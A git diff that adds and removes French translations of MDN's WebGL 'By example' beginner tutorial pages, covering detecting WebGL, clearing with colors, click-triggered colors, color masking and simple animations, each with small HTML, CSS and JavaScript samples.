diff --git a/files/fr/web/api/webgl_api/by_example/clearing_by_clicking/index.html b/files/fr/web/api/webgl_api/by_example/clearing_by_clicking/index.html new file mode 100644 index 0000000000..7ca07c36e6 --- /dev/null +++ b/files/fr/web/api/webgl_api/by_example/clearing_by_clicking/index.html @@ -0,0 +1,122 @@ +--- +title: Appliquer une couleur à la souris +slug: Web/API/WebGL_API/By_example/Appliquer_une_couleur_à_la_souris +tags: + - Apprendre + - Débutant + - Exemple + - Graphisme + - Tutoriel + - WebGL +translation_of: Web/API/WebGL_API/By_example/Clearing_by_clicking +--- +
{{IncludeSubnav("/fr/Apprendre")}}
+ +

{{PreviousNext("Apprendre/WebGL/Par_exemple/Appliquer_des_couleurs","Apprendre/WebGL/Par_exemple/Cr%C3%A9er_une_animation_color%C3%A9e")}}

+ +

Dans cet article, on voit comment combiner les interactions de l'utilisateur et les opérations graphiques. Plus précisément, dans cet exemple, chaque clic de l'utilisateur déclenchera l'application d'une couleur aléatoire dans le contexte de rendu.

+ +

{{EmbedLiveSample("Appliquer_des_couleurs_aléatoires_dans_le_contexte_de_rendu",660,410)}}

+ +

Appliquer des couleurs aléatoires dans le contexte de rendu

+ +

Cet exemple illustre simplement comment associer WebGL aux interactions utilisateur. Chaque fois que l'utilisateur cliquera sur le canevas ou sur le bouton, une couleur aléatoire sera appliquée sur le contexte de rendu.

+ +

Ici, on montre comment on place les appels aux fonctions WebGL dans la fonction qui gère les événements :

+ +
<p>Un programme WebGL très simple qui affiche des couleurs
+    suite aux interactions utilisateur.</p>
+<p>Vous pouvez cliquer sur le canevas ou sur le bouton pour
+    modifier la couleur.</p>
+<canvas id="canvas-view">Il semblerait que votre navigateur
+    ne supporte pas l'élément canvas.</canvas>
+<button id="color-switcher">Cliquez ici pour changer la couleur</button>
+
+ +
body {
+  text-align : center;
+}
+button {
+  display : inline-block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+canvas {
+  display : block;
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+
+ +
// On exécute tout dans le gestionnaire d'événement
+// correspondant au chargement de la fenêtre. De cette
+// façon, le DOM est complètement chargé et mis en forme
+// avant de le manipuler et d'encombrer la portée globale.
+// On donne un nom au gestionnaire (setupWebGL) afin de
+// pouvoir y faire référence par la suite.
+window.addEventListener("load", function setupWebGL (evt) {
+  "use strict"
+
+  // On fait le ménage : le gestionnaire se supprime lui-
+  // même car il n'a besoin d'être exécuté qu'une fois.
+  window.removeEventListener(evt.type, setupWebGL, false);
+
+  // On ajoute le même gestionnaire de clic sur le canevas
+  // et sur le bouton.
+  var canvas = document.querySelector("#canvas-view");
+  var button = document.querySelector("#color-switcher");
+  canvas.addEventListener("click", switchColor, false);
+  button.addEventListener("click", switchColor, false);
+
+  // On crée une variable qui contiendra WebGLRenderingContext.
+  var gl;
+
+  // La déclaration du gestionnaire d'événement pour le clic.
+  function switchColor () {
+
+    // On utilise la variable gl définie en dehors.
+    // Si elle n'est pas définie, on récupère WebGLRenderingContext.
+    // Si cela échoue, on avertit l'utilisateur. Sinon, on
+    // initialise la zone de dessin (viewport)
+    if (!gl) {
+      gl = canvas.getContext("webgl")
+        || canvas.getContext("experimental-webgl");
+      if (!gl) {
+        alert("Échec de la récupération du \n"
+          + "contexte WebGL. Votre navigateur peut ne pas \n"
+          + " supporter WebGL.");
+        return;
+      }
+      gl.viewport(0, 0,
+        gl.drawingBufferWidth, gl.drawingBufferHeight);
+    }
+
+    // On obtient une couleur aléatoire grâce
+    // à une fonction auxiliaire.
+    var color = getRandomColor();
+
+    // On choisit cette couleur comme couleur à appliquer.
+    gl.clearColor(color[0], color[1], color[2], 1.0);
+
+    // On applique la nouvelle couleur dans le contexte.
+    // C'est cette fonction qui effectue « réellement »
+    // le dessin sur la zone.
+    gl.clear(gl.COLOR_BUFFER_BIT);
+  }
+
+  // Une fonction auxiliaire pour créer une couleur aléatoire.
+  function getRandomColor() {
+    return [Math.random(), Math.random(), Math.random()];
+  }
+
+}, false);
+
+ +

Le code source de cet exemple est également disponible sur GitHub.

+ +
{{PreviousNext("Apprendre/WebGL/Par_exemple/Appliquer_des_couleurs","Apprendre/WebGL/Par_exemple/Cr%C3%A9er_une_animation_color%C3%A9e")}}
diff --git a/files/fr/web/api/webgl_api/by_example/clearing_with_colors/index.html b/files/fr/web/api/webgl_api/by_example/clearing_with_colors/index.html new file mode 100644 index 0000000000..1d8db41a20 --- /dev/null +++ b/files/fr/web/api/webgl_api/by_example/clearing_with_colors/index.html @@ -0,0 +1,100 @@ +--- +title: Appliquer des couleurs +slug: Web/API/WebGL_API/By_example/Appliquer_des_couleurs +tags: + - Apprendre + - Débutant + - Exemple + - Graphisme + - Tutoriel + - WebGL +translation_of: Web/API/WebGL_API/By_example/Clearing_with_colors +--- +
{{IncludeSubnav("/fr/Apprendre")}}
+ +

{{PreviousNext("Apprendre/WebGL/Par_exemple/Détecter_WebGL","Apprendre/WebGL/Par_exemple/Appliquer_une_couleur_%C3%A0_la_souris")}}

+ +

Dans cet article, on voit comment appliquer une couleur unie dans le contexte de rendu.

+ +

{{EmbedLiveSample("Appliquer_une_couleur_unie_dans_le_contexte_WebGL",660,300)}}

+ +

Appliquer une couleur unie dans le contexte WebGL

+ +

Voici l'application la plus simple de {{Glossary("WebGL")}} : appliquer un vert uni dans le {{domxref("WebGLRenderingContext","contexte de rendu")}}. On notera que la feuille de style {{Glossary("CSS")}} définit l'arrière-plan comme étant noir. Ainsi, quand le canevas s'affiche en vert, on sait que {{Glossary("WebGL")}} a fonctionné comme il fallait.

+ +

Par ailleurs, vous pouvez remarquer que, pour appliquer une couleur unie sur le tampon (buffer) de dessin, on utilise deux étapes. Tout d'abord, on applique la couleur verte grâce à la méthode {{domxref("WebGLRenderingContext.clearColor()","clearColor()")}}. Cette opération ne modifie que l'état interne de {{Glossary("WebGL")}}, rien n'est peint/affiché pour le moment. Ensuite, on dessine « réellement » avec la méthode {{domxref("WebGLRenderingContext.clear()","clear()")}}. C'est la méthode classique pour dessiner avec WebGL. Il y a seulement quelques méthodes qui « dessinent » (dont clear()), toutes les autres méthodes permettent d'obtenir ou de modifier les variables liées aux états de WebGL (dont la couleur à appliquer).

+ +

Il existe de nombreuses options pour modifier les états {{Glossary("WebGL")}}. La couleur à appliquer en est une parmi d'autres.{{Glossary("WebGL")}}/{{Glossary("OpenGL")}} est souvent qualifié d'automate à états. En fait, lorsque vous manipulez ces variables internes, ces « interrupteurs », vous modifiez l'état interne de WebGL, qui modifie à son tour la façon dont la sortie est retranscrite (dans cet exemple, cela correspond à l'étape où les pixels sont passés en vert).

+ +

Enfin, vous pouvez voir que les couleurs manipulées en WebGL sont décrites avec le format {{Glossary("RGBA")}}. Ce format décrit quatre composantes numériques pour les intensités respectives des tons rouge (R), vert (green G), bleu (B) et alpha (qui correspond à l'opacité). C'est pour ça que clearColor() prend quatre arguments.

+ +
<p>Un programme WebGL très simple qui affiche une couleur.</p>
+<!-- Le texte d'un élément canvas est affiché uniquement
+    si canvas n'est pas supporté. -->
+<canvas>Il semblerait que votre navigateur ne supporte pas
+    le canevas HTML5</canvas>
+
+ +
body {
+  text-align : center;
+}
+canvas {
+  display : block;
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+
+ +
// On exécute tout dans le gestionnaire d'événement
+// correspondant au chargement de la fenêtre. De cette
+// façon, le DOM est complètement chargé et mis en forme
+// avant de le manipuler et d'encombrer la portée globale.
+// On donne un nom au gestionnaire (setupWebGL) afin de
+// pouvoir y faire référence par la suite.
+window.addEventListener("load", function setupWebGL (evt) {
+  "use strict"
+
+  // On fait le ménage : le gestionnaire se supprime lui-
+  // même car il n'a besoin d'être exécuté qu'une fois.
+  window.removeEventListener(evt.type, setupWebGL, false);
+
+  // On fait référence aux éléments du document.
+  var paragraph = document.querySelector("p"),
+    canvas = document.querySelector("canvas");
+
+  // On récupère le contexte de rendu WebGL.
+  var gl = canvas.getContext("webgl")
+    || canvas.getContext("experimental-webgl");
+
+  // Si cela échoue, on informe l'utilisateur.
+  // Sinon, on initialise la zone de dessin et on
+  // applique une couleur dans le contexte.
+  if (!gl) {
+    paragraph.innerHTML = "Échec de la récupération du "
+      + "contexte WebGL. Votre navigateur peut ne pas "
+      + " supporter WebGL.";
+    return;
+  }
+  paragraph.innerHTML =
+    "Félicitations, votre navigateur supporte WebGL. ";
+  gl.viewport(0, 0,
+    gl.drawingBufferWidth, gl.drawingBufferHeight);
+
+  // On définit la couleur qu'on veut appliquer
+  // (ici un vert foncé).
+  gl.clearColor(0.0, 0.5, 0.0, 1.0);
+
+  // Enfin, on applique la couleur dans le contexte. C'est
+  // cette fonction qui « dessine » réellement quelque chose.
+  gl.clear(gl.COLOR_BUFFER_BIT);
+
+}, false);
+
+ +

Le code source de cet exemple est également disponible sur GitHub.

+ +
{{PreviousNext("Apprendre/WebGL/Par_exemple/Détecter_WebGL","Apprendre/WebGL/Par_exemple/Appliquer_une_couleur_%C3%A0_la_souris")}}
diff --git a/files/fr/web/api/webgl_api/by_example/color_masking/index.html b/files/fr/web/api/webgl_api/by_example/color_masking/index.html new file mode 100644 index 0000000000..ad5e0dd461 --- /dev/null +++ b/files/fr/web/api/webgl_api/by_example/color_masking/index.html @@ -0,0 +1,136 @@ +--- +title: Masque de couleur +slug: Web/API/WebGL_API/By_example/Masque_de_couleur +tags: + - Apprendre + - Débutant + - Exemple + - Graphisme + - Tutoriel + - WebGL +translation_of: Web/API/WebGL_API/By_example/Color_masking +--- +
{{IncludeSubnav("/fr/Apprendre")}}
+ +

{{PreviousNext("Apprendre/WebGL/Par_exemple/Créer_une_animation_colorée","Apprendre/WebGL/Par_exemple/Appliquer_des_découpes_simples")}}

+ +
+
+

Dans cet article, on modifie des couleurs aléatoires grâce à un masque de couleur. Cela permet de limiter la plage de couleurs affichées à certains tons.

+
+ +

{{EmbedLiveSample("color-masking-source",660,425)}}

+ +
+

Appliquer un masque sur des couleurs aléatoires

+ +

Dans cet exemple, on modifie les couleurs aléatoires utilisées pour une animation grâce à l'opération {{domxref("WebGLRenderingContext.colorMask()","colorMask()")}}. D'une certaine façon, cette opération est analogue à la modification qu'on obtient lorsqu'on regarde à travers du verre teinté ou derrière une filtre coloré. Ainsi, en masquant les canaux vert et bleu, on ne pourra recevoir que les composantes rouges des pixels et cela donnera l'impression de regarder à travers du verre teinté de rouge.

+ +

Les masques de couleur nous permettent d'illustrer quelques concepts de base de la théorie des couleurs. En masquant certaines composantes, on rapproche les couleurs affichées de la couleur complémentaire. Ainsi, en masquant le bleu et le rouge, on obtiendrait des tons de vert. En masquant uniquement le canal bleu, on obtiendra des tons de jaune (dont orange, marron, olive, etc.) qui est la couleur complémentaire du bleu. De la même façon, en masquant uniquement le vert, on obtiendrait des tons magenta (pourpres, rouges, etc.) et en masquant uniquement le rouge, on obtiendrait des tons cyan.

+ +

On voit que les appels à colorMask() sont uniquement déclenchés lorsque l'utilisateur clique sur l'un des boutons. En revanche, le rendu est fait chaque seconde grâce au timer. L'état du masque de couleur lié à {{Glossary("WebGL")}} est conservé et il n'est donc pas nécessaire d'appeler colorMask() à chaque frame pour régler le masque. Cela illustre la manière dont WebGL est un automate a état. Dans un premier temps, on initialise l'état de WebGL et ensuite, à chaque frame, on déclenche uniquement les opérations de dessin.

+ +

Les masques de couleurs permettent d'avoir un contrôle précis pour mettre à jour les pixels à l'écran. En limitant les canaux de couleur qui sont utilisés à chaque commande de dessin, on peut utiliser chaque canal à bon escient et on peut par exemple stocler une image en ton de gris.

+ +

Enfin, l'application d'un masque de couleur nous montre que {{Glossary("WebGL")}} n'est pas seulement un automate à états mais aussi un processus graphique. Cela signifie que les opérations graphiques liées à WebGL sont effectuées dans un ordre donné et que le résultat de chaque opération sert de point d'entrée pour l'opération suivante. Ainsi, l'opération d'applique définit la valeur pour chaque pixel. L'application du masque se produit plus tard dans le processus et modifie la couleur. Ainsi, le résultat final affiché à l'écran est teinté par la couleur du masque.

+
+ +
+
<p>Tinting the displayed colors with color masking.</p>
+<canvas>Il semblerait que votre navigateur ne supporte pas
+    l'élément HTML5 canvas.</canvas>
+<button id="red-toggle">On</button>
+<button id="green-toggle">On</button>
+<button id="blue-toggle">On</button>
+
+ +
body {
+  text-align : center;
+}
+canvas {
+  display : block;
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+button {
+  display : inline-block;
+  font-family : serif;
+  font-size : inherit;
+  font-weight : 900;
+  color : white;
+  margin : auto;
+  padding : 0.6em 1.2em;
+}
+#red-toggle {
+  background-color : red;
+}
+#green-toggle {
+  background-color : green;
+}
+#blue-toggle {
+  background-color : blue;
+}
+
+ +
window.addEventListener("load", function setupAnimation (evt) {
+  "use strict"
+  window.removeEventListener(evt.type, setupAnimation, false);
+
+  var canvas = document.querySelector("canvas");
+  var gl = canvas.getContext("webgl")
+      || canvas.getContext("experimental-webgl");
+  if (!gl) {
+    document.querySelector("p").innerHTML =
+      "Échec lors de l'obtention du contexte WebGL."
+      + "Votre navigateur ou appareil ne supporte "
+      + "peut-être pas WebGL.";
+    return;
+  }
+  gl.viewport(0, 0,
+    gl.drawingBufferWidth, gl.drawingBufferHeight);
+
+  var timer = setInterval(drawAnimation, 1000);
+
+  var mask = [true, true, true];
+  var redtoggle = document.querySelector("#red-toggle"),
+    greentoggle = document.querySelector("#green-toggle"),
+    bluetoggle = document.querySelector("#blue-toggle");
+  redtoggle.addEventListener("click", setColorMask, false);
+  greentoggle.addEventListener("click", setColorMask, false);
+  bluetoggle.addEventListener("click", setColorMask, false);
+
+  function setColorMask(evt) {
+    var index =
+      evt.target === greentoggle && 1
+      || evt.target === bluetoggle && 2
+      || 0;
+    mask[index] = !mask[index];
+    if (mask[index] === true)
+      evt.target.innerHTML="On";
+    else
+      evt.target.innerHTML="Off";
+    gl.colorMask(mask[0], mask[1], mask[2], true);
+    drawAnimation();
+  };
+
+  function drawAnimation () {
+    var color = getRandomColor();
+    gl.clearColor(color[0], color[1], color[2], 1.0);
+    gl.clear(gl.COLOR_BUFFER_BIT);
+  }
+
+  function getRandomColor() {
+    return [Math.random(), Math.random(), Math.random()];
+  }
+}, false);
+
+ +

Le code source de cet exemple est également disponible sur GitHub.

+
+
+ +

{{PreviousNext("Apprendre/WebGL/Par_exemple/Créer_une_animation_colorée","Apprendre/WebGL/Par_exemple/Appliquer_des_découpes_simples")}}

diff --git "a/files/fr/web/api/webgl_api/by_example/cr\303\251er_une_animation_avec_d\303\251coupe_et_applique/index.html" "b/files/fr/web/api/webgl_api/by_example/cr\303\251er_une_animation_avec_d\303\251coupe_et_applique/index.html" deleted file mode 100644 index 8eb25287ab..0000000000 --- "a/files/fr/web/api/webgl_api/by_example/cr\303\251er_une_animation_avec_d\303\251coupe_et_applique/index.html" +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: Créer une animation avec découpe et applique -slug: Web/API/WebGL_API/By_example/Créer_une_animation_avec_découpe_et_applique -tags: - - Apprendre - - Débutant - - Exemple - - Graphisme - - Tutoriel - - WebGL -translation_of: Web/API/WebGL_API/By_example/Scissor_animation ---- -
{{IncludeSubnav("/fr/Apprendre")}}
- -

{{PreviousNext("Apprendre/WebGL/Par_exemple/Modèle_1","Apprendre/WebGL/Par_exemple/Une_pluie_de_rectangle")}}

- -

Dans cet article, on voit comment créer des animations grâce à des opérations de découpe et d'applique.

- -

{{EmbedLiveSample("Une_animation_grâce_à_des_découpes",660,425)}}

- -

Une animation grâce à des découpes

- -

Dans cet exemple, on anime des carrés grâce aux méthodes {{domxref("WebGLRenderingContext.scissor()","scissor()")}} et {{domxref("WebGLRenderingContext.clear()","clear()")}}. Ensuite, on crée à nouveau une boucle d'animation grâce aux timers. Cette fois-ci, la position du carré (la zone de découpe) est mise à jour à chaque frame (on a environ une frame rafraîchie toutes les 17 millisecondes, ce qui correspond environ à 60fps (frame per second ou frame par seconde).

- -

En revanche, la couleur du carré (définie avec {{domxref("WebGLRenderingContext.clearColor()","clearColor")}}) est uniquement mise à jour lorsqu'un nouveau carré est créé. On voit ici que {{Glossary("WebGL")}} est un automate. Pour chaque carré, on définit sa couleur une fois puis on met à jour sa position à chaque frame. L'état lié à la couleur reste tel quel jusqu'à ce qu'un nouveau carré soit créé.

- - - - - - - -
"use strict"
-window.addEventListener("load", setupAnimation, false);
-// Voici les variables qui permettront de
-// manipuler le contexte WebGL, la couleur
-// et la position des carrés.
-var gl,
-  color = getRandomColor(),
-  position;
-
-function setupAnimation (evt) {
-  window.removeEventListener(evt.type, setupAnimation, false);
-  if (!(gl = getRenderingContext()))
-    return;
-
-  gl.enable(gl.SCISSOR_TEST);
-  gl.clearColor(color[0], color[1], color[2], 1.0);
-
-  // À la différence de la fenêtre du navigateur,
-  // l'axe vertical de WebGL va dans le sens croissant
-  // du bas vers le haut. Dans cette position, on indique
-  // que la position initiale du carré est en haut à gauche
-  // du contexte de dessin
-  position = [0, gl.drawingBufferHeight];
-
-  var button = document.querySelector("button");
-  var timer;
-  function startAnimation(evt) {
-    button.removeEventListener(evt.type, startAnimation, false);
-    button.addEventListener("click", stopAnimation, false);
-    document.querySelector("strong").innerHTML = "arrêter";
-    timer = setInterval(drawAnimation, 17);
-    drawAnimation();
-  }
-  function stopAnimation(evt) {
-    button.removeEventListener(evt.type, stopAnimation, false);
-    button.addEventListener("click", startAnimation, false);
-    document.querySelector("strong").innerHTML = "lancer";
-    clearInterval(timer);
-  }
-  stopAnimation({type: "click"});
-}
-
-// Les variables qui permettront de stocker la taille
-// et la vitesse du carré.
-var size = [60, 60],
-  velocity = 3.0;
-function drawAnimation () {
-  gl.scissor(position[0], position[1], size[0] , size[1]);
-  gl.clear(gl.COLOR_BUFFER_BIT);
-  // À chaque frame, on définit une position plus basse
-  // pour le carré, c'est cela qui crée une illusion
-  // de mouvement.
-  position[1] -= velocity;
-  // Lorsque le carré atteint le bas, on crée un nouveau
-  // carré avec une nouvelle vitesse et une nouvelle
-  // couleur.
-  if (position[1] < 0) {
-    // La position horizontale est choisie aléatoirement.
-    // La position verticale correspond au haut
-    // du buffer de dessin.
-    position = [
-      Math.random()*(gl.drawingBufferWidth - size[0]),
-      gl.drawingBufferHeight
-    ];
-    // Ici on détermine une vitesse aléatoire
-    // comprise entre 1.0 et 7.0
-    velocity = 1.0 + 6.0*Math.random();
-    color = getRandomColor();
-    gl.clearColor(color[0], color[1], color[2], 1.0);
-  }
-}
-
-function getRandomColor() {
-  return [Math.random(), Math.random(), Math.random()];
-}
-
- - - - - -

Le code source de cet exemple est également disponible sur GitHub.

- -

{{PreviousNext("Apprendre/WebGL/Par_exemple/Modèle_1","Apprendre/WebGL/Par_exemple/Une_pluie_de_rectangle")}}

diff --git "a/files/fr/web/api/webgl_api/by_example/cr\303\251er_une_animation_color\303\251e/index.html" "b/files/fr/web/api/webgl_api/by_example/cr\303\251er_une_animation_color\303\251e/index.html" deleted file mode 100644 index a38d174808..0000000000 --- "a/files/fr/web/api/webgl_api/by_example/cr\303\251er_une_animation_color\303\251e/index.html" +++ /dev/null @@ -1,139 +0,0 @@ ---- -title: Créer une animation colorée -slug: Web/API/WebGL_API/By_example/Créer_une_animation_colorée -tags: - - Apprendre - - Débutant - - Exemple - - Graphisme - - Tutoriel - - WebGL -translation_of: Web/API/WebGL_API/By_example/Simple_color_animation ---- -
{{IncludeSubnav("/fr/Apprendre")}}
- -

{{PreviousNext("Apprendre/WebGL/Par_exemple/Appliquer_une_couleur_à_la_souris","Apprendre/WebGL/Par_exemple/Masque_de_couleur")}}

- -

Dans cet exemple, on crée une animation avec des couleurs en appliquant chaque seconde une couleur aléatoire dans le contexte de rendu {{Glossary("WebGL")}}.

- -

{{EmbedLiveSample("Créer_une_animation_avec_clear",660,425)}}

- -

Créer une animation avec clear

- -

Cet exemple illustre comment lancer une animation avec WebGL et gérer les interactions de l'utilisateur. L'utilisateur peut lancer, arrêter et reprendre l'animation en cliquant sur le bouton.

- -

Cette fois, on place les appels à la fonction WebGL à l'intérieur d'un gestionnaire d'événement de timer. Un gestionnaire d'événements pour les clics permet de gérer les interactions simples (lancer et arrêter l'animation). Le timer et la fonction de gestion du timer créent une boucle d'animation qui permet d'exécuter un ensemble de commandes pour le dessin à des intervalles réguliers (généralement, pour chaque frame, dans ce cas, on a une fréquence d'une frame par seconde).

- -
<p>Un programme WebGL simple qui crée une animation colorée.</p>
-<p>Vous pouvez sur le bouton pour activer/désactiver l'animation.</p>
-<canvas id="canvas-view">Il semblerait que votre navigateur ne
-    supporte pas l'élément canvas.</canvas>
-<button id="animation-onoff">
-  Cliquez ici pour
-<strong>[le verbe de l'action]</strong>
-  l'animation
-</button>
-
- -
body {
-  text-align : center;
-}
-button {
-  display : inline-block;
-  font-size : inherit;
-  margin : auto;
-  padding : 0.6em;
-}
-canvas {
-  display : block;
-  width : 280px;
-  height : 210px;
-  margin : auto;
-  padding : 0;
-  border : none;
-  background-color : black;
-}
-
- -
window.addEventListener("load", function setupAnimation (evt) {
-  "use strict"
-  window.removeEventListener(evt.type, setupAnimation, false);
-
-  // Une variable pour gérer le timer qui contrôle
-  // l'animation.
-  var timer;
-
-  // On ajoute un gestionnaire d'événement pour le clic.
-  var button = document.querySelector("#animation-onoff");
-  var verb = document.querySelector("strong");
-  function startAnimation(evt) {
-    button.removeEventListener(evt.type, startAnimation, false);
-    button.addEventListener("click", stopAnimation, false);
-    verb.innerHTML="arrêter";
-
-    // On place une boucle d'animation : on repeint
-    // environ chaque seconde.
-    timer = setInterval(drawAnimation, 1000);
-
-    // On dessine une frame d'animation afin de
-    // fournir un feedback à l'utilisateur.
-    drawAnimation();
-  }
-
-  function stopAnimation(evt) {
-    button.removeEventListener(evt.type, stopAnimation, false);
-    button.addEventListener("click", startAnimation, false);
-    verb.innerHTML="lancer";
-    // On arrête l'animation en réinitialisant le timer.
-    clearInterval(timer);
-  }
-
-  // On appelle stopAnimation() une fois pour mettre en place
-  // les gestionnaires d'événement pour le canevas et le bouton.
-  stopAnimation({type: "click"});
-
-  var gl;
-  function drawAnimation () {
-    if (!gl) {
-      var canvas = document.getElementById("canvas-view");
-      gl = canvas.getContext("webgl")
-        ||canvas.getContext("experimental-webgl");
-      if (!gl) {
-
-        // On ne veut pas avoir plusieurs messages d'alerte
-        // donc on arrête l'animation en réinitialisant le
-        // timer.
-        clearInterval(timer);
-        alert("Échec du chargement du contexte WebGL.\n"
-          + "Votre navigateur peut ne pas supporter WebGL.");
-        return;
-
-      }
-      gl.viewport(0, 0,
-        gl.drawingBufferWidth, gl.drawingBufferHeight);
-    }
-
-    // On génère une couleur aléatoire avec une fonction
-    // auxiliaire.
-    var color = getRandomColor();
-
-    // On applique la couleur obtenue dans le
-    // contexte WebGLRenderingContext
-    gl.clearColor(color[0], color[1], color[2], 1.0);
-
-    // On propage le changement dans le contexte
-    // avec la méthode clear.
-    gl.clear(gl.COLOR_BUFFER_BIT);
-  }
-
-  // Une fonction auxiliaire qui fournit une
-  // couleur aléatoire.
-  function getRandomColor() {
-    return [Math.random(), Math.random(), Math.random()];
-  }
-}, false);
-
- -

Le code source de cet exemple est également disponible sur GitHub.

- -

{{PreviousNext("Apprendre/WebGL/Par_exemple/Appliquer_une_couleur_à_la_souris","Apprendre/WebGL/Par_exemple/Masque_de_couleur")}}

diff --git a/files/fr/web/api/webgl_api/by_example/detect_webgl/index.html b/files/fr/web/api/webgl_api/by_example/detect_webgl/index.html new file mode 100644 index 0000000000..fec1fd88a0 --- /dev/null +++ b/files/fr/web/api/webgl_api/by_example/detect_webgl/index.html @@ -0,0 +1,79 @@ +--- +title: Détecter WebGL +slug: Web/API/WebGL_API/By_example/Détecter_WebGL +tags: + - Apprendre + - Débutant + - Exemple + - Graphisme + - Tutoriel + - WebGL +translation_of: Web/API/WebGL_API/By_example/Detect_WebGL +--- +
{{IncludeSubnav("/fr/Apprendre")}}
+ +
{{PreviousNext("Apprendre/WebGL/Par_exemple","Apprendre/WebGL/Par_exemple/Appliquer_des_couleurs")}}
+ +

Dans cet exemple, on voit comment détecter un contexte de rendu {{Glossary("WebGL")}} et afficher le résultat à l'utilisateur.

+ +

{{EmbedLiveSample("Détecter_le_support_WebGL",660,150)}}

+ +

Détecter le support WebGL

+ +

Dans ce premier exemple, on vérifie si le navigateur prend en charge {{Glossary("WebGL")}}. Pour cela, on essaye d'obtenir le {{domxref("WebGLRenderingContext","contexte de rendu WebGL","",1)}} à partir d'un élément {{domxref("HTMLCanvasElement","canvas")}}. Le {{domxref("WebGLRenderingContext","contexte de rendu WebGL", "", 1)}} est une interface qui permet de connaître et de modifier l'état du moteur graphique WebGL, d'envoyer des données à WebGL et d'exécuter des commandes de dessin.

+ +

La gestion d'une machine graphique au sein d'une seule interface n'est pas propre à {{Glossary("WebGL")}}. Les autres {̣{Glossary("API")}} graphiques comme {{domxref("CanvasRenderingContext2D","le contexte de rendu 2D du canevas", "", 1)}}. Cependant, les propriétés et variables qui peuvent être manipulées changent d'une API à l'autre.

+ +
<p>[ On affichera ici le résultat de la détection du support WebGL ]</p>
+<button>Cliquez ici pour détecter WebGLRenderingContext</button>
+
+ +
body {
+  text-align : center;
+}
+button {
+  display : block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+
+ +
// On exécute tout dans le gestionnaire d'événement
+// correspondant au chargement de la fenêtre. De cette
+// façon, le DOM est complètement chargé et mis en forme
+// avant de le manipuler.
+window.addEventListener("load", function() {
+  var paragraph = document.querySelector("p"),
+    button = document.querySelector("button");
+
+  // On ajoute un gestionnaire d'événement pour
+  // le clic sur le bouton
+  button.addEventListener("click", detectWebGLContext, false);
+  function detectWebGLContext () {
+
+    // On crée un élément canvas. Le canvas n'est pas
+    // ajouté au document et il n'est donc jamais
+    // affiché dans la fenêtre du navigateur
+    var canvas = document.createElement("canvas");
+
+    // On récupère le contexte WebGLRenderingContext
+    // depuis l'élément canvas.
+    var gl = canvas.getContext("webgl")
+      || canvas.getContext("experimental-webgl");
+
+    // On affiche le résultat.
+    if (gl && gl instanceof WebGLRenderingContext) {
+      paragraph.innerHTML =
+        "Félicitations, votre navigateur supporte WebGL.";
+    } else {
+      paragraph.innerHTML = "Échec du contexte WebGL. "
+        + "Votre navigateur peut ne pas supporter WebGL.";
+    }
+  }
+}, false);
+
+ +

Le code source de cet exemple est également disponible sur GitHub.

+ +
{{PreviousNext("Apprendre/WebGL/Par_exemple","Apprendre/WebGL/Par_exemple/Appliquer_des_couleurs")}}
diff --git "a/files/fr/web/api/webgl_api/by_example/d\303\251tecter_webgl/index.html" "b/files/fr/web/api/webgl_api/by_example/d\303\251tecter_webgl/index.html" deleted file mode 100644 index fec1fd88a0..0000000000 --- "a/files/fr/web/api/webgl_api/by_example/d\303\251tecter_webgl/index.html" +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Détecter WebGL -slug: Web/API/WebGL_API/By_example/Détecter_WebGL -tags: - - Apprendre - - Débutant - - Exemple - - Graphisme - - Tutoriel - - WebGL -translation_of: Web/API/WebGL_API/By_example/Detect_WebGL ---- -
{{IncludeSubnav("/fr/Apprendre")}}
- -
{{PreviousNext("Apprendre/WebGL/Par_exemple","Apprendre/WebGL/Par_exemple/Appliquer_des_couleurs")}}
- -

Dans cet exemple, on voit comment détecter un contexte de rendu {{Glossary("WebGL")}} et afficher le résultat à l'utilisateur.

- -

{{EmbedLiveSample("Détecter_le_support_WebGL",660,150)}}

- -

Détecter le support WebGL

- -

Dans ce premier exemple, on vérifie si le navigateur prend en charge {{Glossary("WebGL")}}. Pour cela, on essaye d'obtenir le {{domxref("WebGLRenderingContext","contexte de rendu WebGL","",1)}} à partir d'un élément {{domxref("HTMLCanvasElement","canvas")}}. Le {{domxref("WebGLRenderingContext","contexte de rendu WebGL", "", 1)}} est une interface qui permet de connaître et de modifier l'état du moteur graphique WebGL, d'envoyer des données à WebGL et d'exécuter des commandes de dessin.

- -

La gestion d'une machine graphique au sein d'une seule interface n'est pas propre à {{Glossary("WebGL")}}. Les autres {̣{Glossary("API")}} graphiques comme {{domxref("CanvasRenderingContext2D","le contexte de rendu 2D du canevas", "", 1)}}. Cependant, les propriétés et variables qui peuvent être manipulées changent d'une API à l'autre.

- -
<p>[ On affichera ici le résultat de la détection du support WebGL ]</p>
-<button>Cliquez ici pour détecter WebGLRenderingContext</button>
-
- -
body {
-  text-align : center;
-}
-button {
-  display : block;
-  font-size : inherit;
-  margin : auto;
-  padding : 0.6em;
-}
-
- -
// On exécute tout dans le gestionnaire d'événement
-// correspondant au chargement de la fenêtre. De cette
-// façon, le DOM est complètement chargé et mis en forme
-// avant de le manipuler.
-window.addEventListener("load", function() {
-  var paragraph = document.querySelector("p"),
-    button = document.querySelector("button");
-
-  // On ajoute un gestionnaire d'événement pour
-  // le clic sur le bouton
-  button.addEventListener("click", detectWebGLContext, false);
-  function detectWebGLContext () {
-
-    // On crée un élément canvas. Le canvas n'est pas
-    // ajouté au document et il n'est donc jamais
-    // affiché dans la fenêtre du navigateur
-    var canvas = document.createElement("canvas");
-
-    // On récupère le contexte WebGLRenderingContext
-    // depuis l'élément canvas.
-    var gl = canvas.getContext("webgl")
-      || canvas.getContext("experimental-webgl");
-
-    // On affiche le résultat.
-    if (gl && gl instanceof WebGLRenderingContext) {
-      paragraph.innerHTML =
-        "Félicitations, votre navigateur supporte WebGL.";
-    } else {
-      paragraph.innerHTML = "Échec du contexte WebGL. "
-        + "Votre navigateur peut ne pas supporter WebGL.";
-    }
-  }
-}, false);
-
- -

Le code source de cet exemple est également disponible sur GitHub.

- -
